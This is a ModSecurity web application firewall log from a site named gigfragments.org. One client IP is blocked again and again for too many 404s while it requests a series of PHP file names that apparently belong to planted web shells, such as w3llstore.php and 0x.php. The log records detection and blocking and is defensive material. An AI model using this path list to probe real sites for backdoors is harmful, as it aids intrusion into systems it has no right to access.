[Sat Feb 28 21:25:19.775016 2026] [:error] [pid 49763:tid 49785] [client 40.85.222.96:55029] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaLsv7THSOG_yf2PpqFwQgAAAdM"]
[Sat Feb 28 21:25:20.658753 2026] [:error] [pid 49763:tid 49787] [client 40.85.222.96:56715] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaLswLTHSOG_yf2PpqFwRgAAAdU"]
[Sat Feb 28 21:25:21.262244 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:52916] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaLswbTHSOG_yf2PpqFwTwAAAdI"]
[Sat Feb 28 21:25:22.244698 2026] [:error] [pid 22194:tid 22204] [client 40.85.222.96:54961] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftyude.php"] [unique_id "aaLswn6mbajs3bzQGyunOgAAAUg"]
[Sat Feb 28 21:25:23.787949 2026] [:error] [pid 52460:tid 52476] [client 40.85.222.96:26845] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftyude.php"] [unique_id "aaLsw7LWOogAgHGh62SM8QAAAY0"]
[Sat Feb 28 21:25:25.690769 2026] [:error] [pid 11791:tid 11812] [client 40.85.222.96:54923] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftyude.php"] [unique_id "aaLsxWuX5e1Q32gqxH3IQAAAARM"]
[Sat Feb 28 21:25:26.270513 2026] [:error] [pid 11791:tid 11816] [client 40.85.222.96:55013] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftyude.php"] [unique_id "aaLsxmuX5e1Q32gqxH3IRAAAARc"]
[Sat Feb 28 21:25:27.222093 2026] [:error] [pid 49763:tid 49789] [client 40.85.222.96:52943] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "aaLsx7THSOG_yf2PpqFwfAAAAdc"]
[Sat Feb 28 21:25:28.439096 2026] [:error] [pid 11791:tid 11794] [client 40.85.222.96:52889] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "aaLsyGuX5e1Q32gqxH3IRgAAAQE"]
[Sat Feb 28 21:25:29.502824 2026] [:error] [pid 39292:tid 39315] [client 40.85.222.96:55031] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "aaLsyaIAO5fN7BxyqcGANQAAANU"]
[Sat Feb 28 21:25:30.561473 2026] [:error] [pid 52460:tid 52463] [client 40.85.222.96:37411] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xy.php"] [unique_id "aaLsyrLWOogAgHGh62SNEgAAAYA"]
[Sat Feb 28 21:25:31.562670 2026] [:error] [pid 52460:tid 52471] [client 40.85.222.96:52949] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aaLsy7LWOogAgHGh62SNJgAAAYg"]
[Sat Feb 28 21:25:32.685364 2026] [:error] [pid 52460:tid 52482] [client 40.85.222.96:52905] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aaLszLLWOogAgHGh62SNMQAAAZM"]
[Sat Feb 28 21:25:33.587324 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:52955] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aaLszbTHSOG_yf2PpqFwmQAAAdI"]
[Sat Feb 28 21:25:34.975585 2026] [:error] [pid 39184:tid 39238] [client 40.85.222.96:52869] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aaLszltZF9Zd_U7easDGPQAAAFM"]
[Sat Feb 28 21:25:53.983560 2026] [:error] [pid 49763:tid 49774] [client 40.85.222.96:27840] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaLs4bTHSOG_yf2PpqFxAQAAAcg"]
[Sat Feb 28 21:25:54.722201 2026] [:error] [pid 11791:tid 11802] [client 40.85.222.96:54935] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaLs4muX5e1Q32gqxH3IggAAAQk"]
[Sat Feb 28 21:25:55.446008 2026] [:error] [pid 39183:tid 39200] [client 40.85.222.96:54993] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaLs4xCf4HvhVePw3LZMbwAAAAg"]
[Sat Feb 28 21:25:56.288805 2026] [:error] [pid 39183:tid 39193] [client 40.85.222.96:52897] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaLs5BCf4HvhVePw3LZMdgAAAAE"]
[Sat Feb 28 21:25:57.083732 2026] [:error] [pid 52460:tid 52480] [client 40.85.222.96:27859] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mon.php"] [unique_id "aaLs5bLWOogAgHGh62SN7QAAAZE"]
[Sat Feb 28 21:25:58.782101 2026] [:error] [pid 39183:tid 39200] [client 40.85.222.96:52878] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mon.php"] [unique_id "aaLs5hCf4HvhVePw3LZMfwAAAAg"]
[Sat Feb 28 21:25:59.952928 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:56798] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mon.php"] [unique_id "aaLs57THSOG_yf2PpqFxLQAAAdI"]
[Sat Feb 28 21:26:00.822008 2026] [:error] [pid 52460:tid 52483] [client 40.85.222.96:52941] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mon.php"] [unique_id "aaLs6LLWOogAgHGh62SOCgAAAZQ"]
[Sat Feb 28 21:26:02.256513 2026] [:error] [pid 49763:tid 49767] [client 40.85.222.96:54919] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aaLs6rTHSOG_yf2PpqFxOQAAAcE"]
[Sat Feb 28 21:26:03.353998 2026] [:error] [pid 39184:tid 39225] [client 40.85.222.96:27872] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aaLs61tZF9Zd_U7easDGlgAAAEY"]
[Sat Feb 28 21:26:04.039516 2026] [:error] [pid 39184:tid 39221] [client 40.85.222.96:56708] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aaLs7FtZF9Zd_U7easDGnQAAAEI"]
[Sat Feb 28 21:26:04.852977 2026] [:error] [pid 49763:tid 49786] [client 40.85.222.96:56738] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aaLs7LTHSOG_yf2PpqFxRAAAAdQ"]
[Sat Feb 28 21:26:05.453257 2026] [:error] [pid 49763:tid 49770] [client 40.85.222.96:56753] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaLs7bTHSOG_yf2PpqFxSwAAAcQ"]
[Sat Feb 28 21:26:06.573985 2026] [:error] [pid 39183:tid 39208] [client 40.85.222.96:27891] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaLs7hCf4HvhVePw3LZMnQAAABA"]
[Sat Feb 28 21:26:07.157796 2026] [:error] [pid 49763:tid 49777] [client 40.85.222.96:52931] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaLs77THSOG_yf2PpqFxXQAAAcs"]
[Sat Feb 28 21:26:07.852385 2026] [:error] [pid 49763:tid 49790] [client 40.85.222.96:56705] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aaLs77THSOG_yf2PpqFxbwAAAdg"]
[Sat Feb 28 21:26:08.782047 2026] [:error] [pid 39292:tid 39302] [client 40.85.222.96:52928] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaLs8KIAO5fN7BxyqcGAkgAAAMg"]
[Sat Feb 28 21:26:09.977340 2026] [:error] [pid 39183:tid 39216] [client 40.85.222.96:56801] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaLs8RCf4HvhVePw3LZMpAAAABg"]
[Sat Feb 28 21:26:10.941864 2026] [:error] [pid 49763:tid 49783] [client 40.85.222.96:54945] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaLs8rTHSOG_yf2PpqFx-wAAAdE"]
[Sat Feb 28 21:26:11.676490 2026] [:error] [pid 39292:tid 39297] [client 40.85.222.96:56704] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaLs86IAO5fN7BxyqcGAmQAAAMM"]
[Sat Feb 28 21:26:13.080880 2026] [:error] [pid 52460:tid 52477] [client 40.85.222.96:26864] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aaLs9bLWOogAgHGh62SOIQAAAY4"]
[Sat Feb 28 21:26:15.654824 2026] [:error] [pid 49763:tid 49780] [client 40.85.222.96:52896] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aaLs97THSOG_yf2PpqFyGQAAAc4"]
[Sat Feb 28 21:26:17.204477 2026] [:error] [pid 39183:tid 39201] [client 40.85.222.96:55031] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aaLs-RCf4HvhVePw3LZMsQAAAAk"]
[Sat Feb 28 21:26:18.130208 2026] [:error] [pid 39183:tid 39204] [client 40.85.222.96:52922] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aaLs-hCf4HvhVePw3LZMtwAAAAw"]
[Sat Feb 28 21:26:19.488469 2026] [:error] [pid 49763:tid 49775] [client 40.85.222.96:27849] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLs-7THSOG_yf2PpqFyTAAAAck"]
[Sat Feb 28 21:26:20.420842 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:52879] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLs_LTHSOG_yf2PpqFyVQAAAdI"]
[Sat Feb 28 21:26:21.969084 2026] [:error] [pid 49763:tid 49787] [client 40.85.222.96:52898] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLs_bTHSOG_yf2PpqFyYQAAAdU"]
[Sat Feb 28 21:26:23.360198 2026] [:error] [pid 52460:tid 52476] [client 40.85.222.96:56762] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLs_7LWOogAgHGh62SOMwAAAY0"]
[Sat Feb 28 21:26:24.280294 2026] [:error] [pid 49763:tid 49790] [client 40.85.222.96:56810] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aaLtALTHSOG_yf2PpqFyeAAAAdg"]
[Sat Feb 28 21:26:25.243894 2026] [:error] [pid 52460:tid 52483] [client 40.85.222.96:56765] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aaLtAbLWOogAgHGh62SOOAAAAZQ"]
[Sat Feb 28 21:26:26.178760 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:52883] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aaLtArTHSOG_yf2PpqFyiQAAAdI"]
[Sat Feb 28 21:26:27.052948 2026] [:error] [pid 39183:tid 39208] [client 40.85.222.96:52986] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aaLtAxCf4HvhVePw3LZM5gAAABA"]
[Sat Feb 28 21:26:27.908821 2026] [:error] [pid 52460:tid 52482] [client 40.85.222.96:52977] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aaLtA7LWOogAgHGh62SOQAAAAZM"]
[Sat Feb 28 21:26:28.855943 2026] [:error] [pid 49763:tid 49772] [client 40.85.222.96:54970] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aaLtBLTHSOG_yf2PpqFyowAAAcY"]
[Sat Feb 28 21:26:29.443024 2026] [:error] [pid 39183:tid 39198] [client 40.85.222.96:56767] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aaLtBRCf4HvhVePw3LZM7AAAAAY"]
[Sat Feb 28 21:26:30.147797 2026] [:error] [pid 39183:tid 39197] [client 40.85.222.96:55022] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aaLtBhCf4HvhVePw3LZM7wAAAAU"]
[Sat Feb 28 21:26:30.942304 2026] [:error] [pid 39185:tid 39255] [client 40.85.222.96:58290] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLtBhVE-FfM89u7BQaj4gAAAIk"]
[Sat Feb 28 21:26:32.073774 2026] [:error] [pid 39184:tid 39233] [client 40.85.222.96:58288] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLtCFtZF9Zd_U7easDGtwAAAE4"]
[Sat Feb 28 21:26:34.153533 2026] [:error] [pid 52460:tid 52475] [client 40.85.222.96:27850] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLtCrLWOogAgHGh62SOSwAAAYw"]
[Sat Feb 28 21:26:35.403614 2026] [:error] [pid 52460:tid 52486] [client 40.85.222.96:52962] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/erty.php"] [unique_id "aaLtC7LWOogAgHGh62SOTgAAAZc"]
[Sat Feb 28 21:26:37.785155 2026] [:error] [pid 49763:tid 49776] [client 40.85.222.96:37406] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aaLtDbTHSOG_yf2PpqFzDwAAAco"]
[Sat Feb 28 21:26:39.832987 2026] [:error] [pid 39184:tid 39222] [client 40.85.222.96:52876] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aaLtD1tZF9Zd_U7easDGzwAAAEM"]
